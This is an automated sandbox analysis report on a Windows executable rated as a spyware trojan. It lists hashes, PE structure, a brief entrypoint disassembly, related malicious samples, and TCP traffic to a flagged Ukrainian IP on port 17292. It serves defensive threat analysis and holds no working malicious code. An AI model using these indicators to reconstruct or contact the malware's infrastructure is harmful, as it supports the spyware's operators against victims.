http://tempuri.org/Entity/Id15	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id17	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	84Xhvb840M.exe, 00000000.00000002.341549842.0000000003DA9000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341497974.0000000003D45000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	84Xhvb840M.exe, 00000000.00000002.341099277.000000000397C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id23Response	84Xhvb840M.exe, 00000000.00000002.341549842.0000000003DA9000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341099277.000000000397C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
37.1.213.57	unknown	Ukraine		29802	HVC-ASUS	true
94.250.250.30	unknown	Russian Federation		29182	THEFIRST-ASRU	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	534012
Start date:	05.12.2021
Start time:	00:26:30
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	84Xhvb840M.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/1@0/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, e1723.g.akamaiedge.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:27:41	API Interceptor	66x Sleep call for process: 84Xhvb840M.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37.1.213.57	4EgMmMyCzy.exe	Get hash	malicious	Browse
94.250.250.30	4EgMmMyCzy.exe	Get hash	malicious	Browse	94.250.250.30/Chrome.exe

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HVC-ASUS	4EgMmMyCzy.exe	Get hash	malicious	Browse	37.1.213.57
	sora.arm	Get hash	malicious	Browse	66.232.127.213
	6i8fGaNHr7	Get hash	malicious	Browse	104.156.53.55
	DOKUMEN_BPN_PHER001_021458989062000_INCONIS NUSA JAYA_125716432184000.pdf.exe	Get hash	malicious	Browse	23.111.183.178
	gunzipped.exe	Get hash	malicious	Browse	23.111.183.178
	IEGEmivcv5.dll	Get hash	malicious	Browse	37.1.208.91
	IEGEmivcv5.dll	Get hash	malicious	Browse	37.1.208.91
	V6oWh8Z20j.dll	Get hash	malicious	Browse	37.1.208.91
	V6oWh8Z20j.dll	Get hash	malicious	Browse	37.1.208.91
	beamer.arm7-20211121-1750	Get hash	malicious	Browse	64.110.163.229
	1Yt2YYpm81.exe	Get hash	malicious	Browse	46.21.153.132
	fc#Ubb38.exe	Get hash	malicious	Browse	46.21.153.132
	X5J1LghiBc.exe	Get hash	malicious	Browse	46.21.153.132
	ORDER.exe	Get hash	malicious	Browse	46.21.149.90
	ncMG8wu5IG	Get hash	malicious	Browse	209.133.205.122
	x86	Get hash	malicious	Browse	66.232.127.212
	K1kUt3MxkS	Get hash	malicious	Browse	107.155.88.167
	0pxHGTARwb.exe	Get hash	malicious	Browse	37.1.211.108
	lk0jzxi2j8	Get hash	malicious	Browse	149.255.39.221
	PdEfGHtczV.exe	Get hash	malicious	Browse	209.133.197.146
THEFIRST-ASRU	4EgMmMyCzy.exe	Get hash	malicious	Browse	94.250.250.30
	Ks9bGNkP7H	Get hash	malicious	Browse	82.146.49.35
	H5mUEYGVHO.exe	Get hash	malicious	Browse	92.63.100.139
	AR2mg6uJta.exe	Get hash	malicious	Browse	62.109.1.30
	q2IHJg2N4T.exe	Get hash	malicious	Browse	62.109.1.30
	47XJbPecPL.exe	Get hash	malicious	Browse	188.120.224.18
	8NbzcpdWOj.exe	Get hash	malicious	Browse	62.109.5.94
	eoOv0FjPOF.exe	Get hash	malicious	Browse	62.109.5.94
	nuGPQqt9iK.exe	Get hash	malicious	Browse	62.109.5.94
	sora.arm7	Get hash	malicious	Browse	62.109.30.177
	E9HT1FxV8B	Get hash	malicious	Browse	62.109.30.191
	7821D9459863256AF01FF48B99FFD938AACA3BECE1B4B.exe	Get hash	malicious	Browse	62.109.0.171
	JjBWuAByqr.exe	Get hash	malicious	Browse	188.120.243.11
	PjvBTyWpg6.exe	Get hash	malicious	Browse	188.120.231.18
	Whrw7Kmlni.exe	Get hash	malicious	Browse	80.87.192.115
	Hpdyv8oO3j.exe	Get hash	malicious	Browse	82.202.167.226
	3rhn9uaPHu.exe	Get hash	malicious	Browse	79.174.13.108
	B8ZmJk9TpG.exe	Get hash	malicious	Browse	79.174.13.108
	EEFB1FBB690C0C28F191FBC443793D4BADC01ECEE0416.exe	Get hash	malicious	Browse	77.246.159.252
	Lulu_Hack.exe	Get hash	malicious	Browse	94.250.250.77

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\84Xhvb840M.exe.log Download File
Process:	C:\Users\user\Desktop\84Xhvb840M.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	5.3192079301865585
Encrypted:	false
SSDEEP:	48:MxHKXwYHKhQnoOfHK7HKhBHKdHKB1AHKzvQTHmtHoxHImHK1HxLHG1qHjHKdH5HX:iqXwYqhQnoSq7qLqdqUqzcGtIxHbq1RW
MD5:	5F5F055562F694BB5364921FDE3B5147
SHA1:	9DD1FD1111299F29EC90334EA0BDC9F5ADB21062
SHA-256:	9A78763D556730E9F1BD801BE7022DDC02D408A30D3F01F2B7CAED2457B7F9EA
SHA-512:	7EA19AE041B7F42ACAFC0476EB20E7D9DB9C4A82E06CE8CE273EECD580E158AF9E703B2673D5F7B39FF8549F8869B73537F62E799BE471AFF521F43D3C892CED
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicK

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.993394255319144
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	84Xhvb840M.exe
File size:	1607424
MD5:	a299e78d8704d2840a0466488f5fe3d9
SHA1:	479a930f871cba97457415b8246fd490f8895b3f
SHA256:	129f4f1ff9ed242fe57ac927522a46d3a35a48c38003fbb464c421981b63a813
SHA512:	89d9744af351f2882020af09d7c69edf5ca782c58770acf7a65dcf649c2ba7eb9c68764215251b1ce332b0a388757019f852afbe985ddaf30744c4f8d5ef6631
SSDEEP:	49152:jXiaO75eGvloS2755KdPHPM9ctS4Na+rM:Od091uPHPM9ctSAJw
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a..............0..N........... ... ........@.. .......................`A.. ....:....................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x402000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61A7C1F7 [Wed Dec 1 18:41:59 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d7dd6fa75115d9909f747434e40fff68

Entrypoint Preview

Instruction
push 007C8001h
call 00007F62047AECB6h
ret
ret
dec ecx
insb
add dword ptr [esp+ecx*2-351396BAh], edi
insd
cmc
iretd
dec esp
adc esi, dword ptr [edx-1Eh]
sbb ecx, dword ptr [ebp-6DE8E7D3h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c8c7c	0xd8	.QWly1rx
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x42000	0x586	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x100000

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0x36000	0x15a00	False	1.00040643064	data	7.99802724381	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x38000	0x2000	0x400	False	1.0107421875	data	7.77053321914	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x3a000	0x2000	0x200	False	0.78515625	data	6.01747597045	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x3c000	0x4000	0x400	False	1.0107421875	data	7.80942798026	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x40000	0x2000	0x200	False	1.021484375	data	7.57592238998	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x42000	0x2000	0x600	False	0.439453125	data	4.1308503709	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x44000	0x384000	0x126600	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.QWly1rx	0x3c8000	0x4c000	0x4a600	False	0.987362132353	data	7.91678620478	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.adata	0x414000	0x2000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x420a0	0x2fc	data
RT_MANIFEST	0x4239c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	GetProcAddress, GetModuleHandleA, LoadLibraryA
mscoree.dll	_CorExeMain
oleaut32.dll	VariantChangeTypeEx
kernel32.dll	RaiseException

Version Infos

Description	Data
LegalCopyright	MaNhxeY9
Assembly Version	4,14,12,0
InternalName	vXvp3ptm
FileVersion	4,14,12,0
CompanyName	60eOmLgQ
Comments	LDVAAEpw
ProductName	OdySAJZ2
ProductVersion	4,14,12,0
FileDescription	KFoYONN2
OriginalFilename	W2gUpyDh
Translation	0x0000 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2021 00:27:28.553688049 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:28.676100969 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:28.676260948 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:28.856601954 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:28.979038954 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:29.023879051 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:29.738450050 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:29.862330914 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:29.914596081 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:36.831891060 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:36.962618113 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:36.962687969 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:36.962726116 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:36.962769032 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:37.008929014 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:39.920125008 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.044250965 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.080053091 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.202528954 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.234002113 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.356580019 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.399893999 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.495369911 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.620423079 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.620474100 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.622190952 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.665544987 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.750760078 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:40.873543978 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:40.915988922 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:41.038532972 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:41.088752985 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:43.767205000 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:43.890922070 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:43.947005987 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:45.092458963 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:45.216255903 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:45.259910107 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:45.311480045 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:45.433811903 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:45.471340895 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:45.595016003 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:45.634660006 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.194669962 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.316477060 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.316524982 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.316549063 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.316708088 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.316720963 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.316802025 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.316865921 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.381105900 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.381320000 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.438342094 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.438482046 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.438514948 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.438536882 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.438637018 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.438690901 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.438769102 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.438882113 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.439003944 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.439135075 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.439197063 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.439383030 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.439433098 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.439887047 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.440220118 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.503103971 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.503241062 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.560374975 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.560460091 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.560527086 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.560606956 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.560905933 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.561079025 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.561198950 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.561299086 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.561391115 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.561491966 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.561542988 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.561676979 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.561810017 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.562053919 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.562212944 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.562416077 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.562645912 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.562827110 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.562985897 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.563144922 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.563307047 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.563677073 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.563792944 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.624869108 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.624926090 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.682101965 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.682178974 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.682593107 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.682945967 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.683590889 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.683912992 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.684295893 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.684936047 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.685163975 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.685389042 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.685659885 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.685857058 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.685976982 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.686176062 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.686259031 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.686335087 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.686391115 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.686531067 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.686638117 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.686861992 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.687047005 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.737740993 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.738205910 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.738329887 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.808262110 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.808732986 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.810148954 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.810213089 CET	17292	49742	37.1.213.57	192.168.2.3
